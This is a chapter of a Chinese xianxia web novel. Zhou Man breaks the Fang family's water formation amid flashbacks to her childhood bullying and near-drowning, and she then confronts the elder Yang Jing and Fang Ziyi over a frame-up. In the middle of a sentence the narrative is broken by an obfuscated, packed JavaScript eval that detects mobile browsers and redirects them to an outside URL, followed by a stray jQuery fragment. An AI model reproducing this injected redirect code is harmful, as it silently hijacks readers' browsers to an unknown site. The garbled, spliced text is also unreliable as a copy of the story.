翌日。
李诏聖敲门半晌没回应,稍一用力门开了,正疑惑就听声音从上来,一抬头吓一跳,黑乎乎的头发里一点白,发出呜呜的声音。
时也端着早点晃悠而来,见这幅景象见怪不怪,笑道:“你师姐昨晚屋里闹鬼。”
周漫一个翻身落下地,扒拉头发露出脸,打着哈欠落座。
时也把粥放她面前递给她筷子,招手示意李诏聖来吃。
昨晚本来睡着了,结果又来了人,这次理由是海岸闹水鬼请她和时也去看看,家大业大的方府怎么就轮到他们外来人去管这些,用脚趾头想都知道闹鬼的是方府才对,将人打发走,周漫果断将门打开往屋顶去,她倒要看看一晚上能玩出多少花样。
如她所料,后面再来的弟子见屋中没人匆匆忙忙的回去,间隔几次又来,索性没有大闹,她靠着时也昏昏沉沉凑合着睡了。
李诏聖昨晚听到了声响,看两人眼下淤青,不难猜到发生了什么,默默地吃着包子思索。
周漫吃完推开碗,撑着脑袋晒太阳等两人吃完。
今日的方府十分安静,没有昨日喜宴的热闹,也没有晚上抓贼的闹腾,不知是不是禁制的缘故,像是寂寥的冬日,万物沉寂。
李诏聖和时也吃完,周漫才回过神。
“小聖,帮我件事。”
李诏聖答应,“好。”
“这么爽快?”周漫没想到他答应的这么果断,微微吃惊,“你不问问什么事?”
李诏聖张嘴又闭嘴,眼神哀怨。
时也看两人大眼瞪小眼,忍俊不禁,收敛笑意,一本正经的说道:“他只是不多管闲事,又不是个傻子,我们忙里忙外他难道感觉不到吗?”
李诏聖和周漫同时抬眼看他,表示无语。
周漫收回眼神,交代他,“一会你什么都不用管,就算是天塌了都不管,就盯着柳良德,别让他逃。”
“好。”
李诏聖郑重其事的点头,起身说先去妖魔狱盯着,背上的剑穗晃动,身影渐远。
周漫心里欣慰。
时也:“小清身份特殊不好参与,他在暗中接应。”
周漫点头,伸展手脚,仰头看刺目的天,微微眯眼。
“来了。”
时也话音未落,就听一阵急促的脚步声,叮当响动,方奎带队入院,见两人后急切的来行礼,慌乱的解释,“真人,何师姐,柳良才逃了,我等奉命捉拿,叨扰之处还请见谅。”
“嗯。”时也点头,方奎示意弟子搜查。
“柳良才?就是昨日混入……破坏禁制的贼人?”周漫话到嘴边改了说法,柳良德躲人家婚房实在缺德,事情若是传开,不免有人说三道四,受委屈的只有姑娘家。
方奎应声:“是,他原是上清门的弟子,犯了错被逐出师门了。”
好一招偷梁换柱。
弟子搜查一圈无果,方奎带人告辞。
周漫和时也对视一眼,慢慢悠悠的出院,到门口分开两边走。
托当年来参加喜宴的福,方家的路周漫隐约记得,不至于走错地。
她走到北偏门,倚着柱子看拱门里的情形,瞧着方杳与他的夫婿匆匆离去,撇了撇嘴。
“你不阻拦?”
白鲤从梁柱上探出头,一脸疑惑。
周漫耸肩:“人家求个安稳而已,我又不是五行缺德非要找人家不痛快做什么。”
白鲤瞪大了眼,甩了一下肩膀,袖子垂落空空荡荡,他眉头紧锁,眼神变得锐利,“你不缺德?”
周漫抬眼看他,压着眉,眼神满是不屑。
白鲤:“……”
他胳膊一疼,自讨没趣的抿了抿嘴。
风吹草动,禁制震动,灵力浮动,做局开始了。
周漫往灵力汇聚之处赶去,白鲤暗中跟随,片刻后,灵力震动,一阵戾气凭空而出,她猛地往后退,狂风骤起,她不用灵力险些被掀翻。
眼前恢复清明,只见风中一人扑腾而来,脸上的面具碎裂,面目扭曲,脚下拖沓着血水,周漫错愕,竟然是柳良德。
柳良德一下就扑倒在地抓住了她脚,口里喊着:“就是他告的密!”
周漫浑身一颤,脑子一片空白,想跑已然来不及,一群人围了上来。
方恣意怒喊:“你俩竟是一伙的!”
千算万算没算到倒打一耙,果然姜还是老的辣。
周漫沉住气,蹲下身与柳良德视线平齐,手中的灵力结成灵剑,眼神阴冷,“他就是柳良才吗?”
柳良德明显面露惊恐,随即意识到了什么,转身爬往方恣意去,拽着他衣服求救,“她真会杀了我!”
方恣意见状忙甩开他的手,步步后退,避之不及,周漫甩了甩手中的灵剑,感受着周围混乱的灵力,正好掩盖她的杀气。
“罪孽深重啊。”
她声音轻飘,弟子都被混乱的灵力搅动的四处躲闪,只有方恣意撑着还原地不动,用力压制动乱,下令,“拿下!”
周漫灵剑一斩,将靠近的弟子逼退,“我记得方家处事向来果断,此子先前西南城与五福城作乱,害不少性命,破坏方家禁制,捣乱六小姐婚宴,桩桩件件死不足惜,前辈不就地正法,是还有什么隐情未查清不成?”
方恣意:“我方家如何处事轮不着你来指点?”
“好吧好吧。”周漫不与他争执,耸了耸肩靠近,脚下的灵力带动乱石,裹挟着若有若无的杀意,手中再次凝结灵剑,“方家如何做我管不着,不过我与他有些恩怨正好要算。”
“你要做什么?”
灵剑劈下,方恣意抵挡不住被击退,柳良德见状趁机逃走,周漫余光见李诏聖追去了便收势。
“放肆!”方恣意怒火中烧,指着她大骂,“无知小儿,居然敢羞辱方家!”
周漫一脸懵,我有吗?
方念推着杨敬来,周漫正想撤走,就听杨敬下令,“结阵拿下!”
弟子归位施法结阵,周漫磨了磨后槽牙,眼看着方恣意趁大家不注意溜走了,想必是按计划将春华送出去。
方家依海而生,阵法也以水为基底,周漫怕水,正好克她。
水势汹涌,窒息感袭来。
周漫奋力往上逃被杨敬激起的水浪砸落,跌落回阵中,水浪翻滚,整个人似溺水一般,呼吸困难,手脚千斤重,毫无反抗之力。
“小妖怪!”
“才不和你玩!”
“克死爹娘的怪物!”
“欺负人,坏蛋!”
她仿佛回到了幼时,同伴对她痛批,稚嫩的声音像一把把刀子戳在她身上,刀子化成实形将她推入水中,不会水的小孩拼命的挣扎叫喊无果,恍惚中看到同伴们嬉闹离去,独留她在湍急的水里越坠越深。
幼时的
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15425728|147366||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
遭遇像一根刺扎在脑里,遇到一点风吹雨打就疼得她毫无招架之力。
“小满!”
“周漫!”
周泽的叫声传入耳中,她猛地回过神来。
她自记事起就没有爹娘,大家都说娘是因为生她落下病根,隔年病逝,爹为娘寻药被妖害死,事实如此周漫无可辩驳,只能咽下委屈。她天生灵根早生,力大难自控,稍不注意就会伤人伤己,惹下不少祸事,同伴更不愿与她玩耍,寻机就会讥讽她,她性子倔要强,每次都要犟嘴反驳,就更惹人嫌了。
溺水后,周泽才知道她受的委屈,耐心的陪着她,什么都不问也什么都不说,照顾她衣食住行,一直到她主动说话时才与她交心。
周泽问:“为什么想死?”
周漫反问:“为什么想活?”
“下次想想哥哥。”
那是她第一次见周泽哭,眼泪如流水一般落进药碗里,苦涩的味道蔓延,让她记了一辈子,他死后的日子里,她每每落于绝境都会想起他的话。
“生死只是一念之间,一念生一念没,小满,你是爹娘留给我的念想。”
她还有很多事情没有查清,何姑娘的心愿尚未完成,她辜负的人太多,区区一个水阵比不上十七层的一星半点。
她撑着地跪起身,水浪拍打她低着头调整呼吸,凝聚灵力,捏诀念咒,“幻影万象,气涌风流!”
““万灵源来,剑灵!听召!”
狂风凭空而起,天色骤变,一声巨响,只见灵力从水浪中溢出,满地流淌,空中飞来数把灵剑,“噌噌”落入水阵中,剑鸣声刺耳,剑气卓然。
片刻,风浪掀翻水浪,将设阵的弟子全都击飞,只见散落的水花中周漫缓缓站起身,身边立着数把灵剑,仪容狼狈,神色凌厉,杀气若有若无,忽然间像妖也像魔。
杨敬神色惊诧,知道她功力深厚,只是没想到能如此轻易就破了方家的水阵。
周漫与他四目相对,看到了熟悉的神情,不可置信,惊讶,无奈,还有一些欣慰。
“归剑。”她冷静下来,沉下心,施法放回剑,几步往杨敬面前走去,方念试图阻拦,周漫一击将其撩开,一步之距停步,“前辈。”
杨敬直勾勾的看着她,不自觉的发出疑问:“你是长板派大弟子?”
周漫不答,说出自己的目的,“我无意与前辈作对,我只想知道当年周山主被诬陷勾结妖族的隐情。”
杨敬倏地睁大眼,愣怔住。
“前辈,得罪了。”周漫趁着他震惊之余,快速将谢此亦留给她的捆仙绳使出,施法困住他,不再耽搁,转身离去。
方念爬起身,慌张的喊:“长老。”
杨敬大喊:“快去帮长老修复禁制!”
周漫往妖魔狱去,远远就看见时也站在门口,看她落寞的样子眉头一皱,脱下外袍给她披上,动了动嘴没说出话。
周漫扯嘴角笑了笑,示意他无碍,拢了拢他的衣服,往屋狱中去,最里间,方恣意被灵线层层捆绑,杨春华身上无灵线束缚,但仍旧被困阵中,目光呆滞,犹如活死人。
地上有血迹,细看是从方恣意手上流淌,沿着阵便扩散,像是出现过打斗。
“他没想救人,是想杀人。”
时也言简意赅,神色鄙夷。
方恣意怒喊:“我没有!”
时也捏诀封住他的口。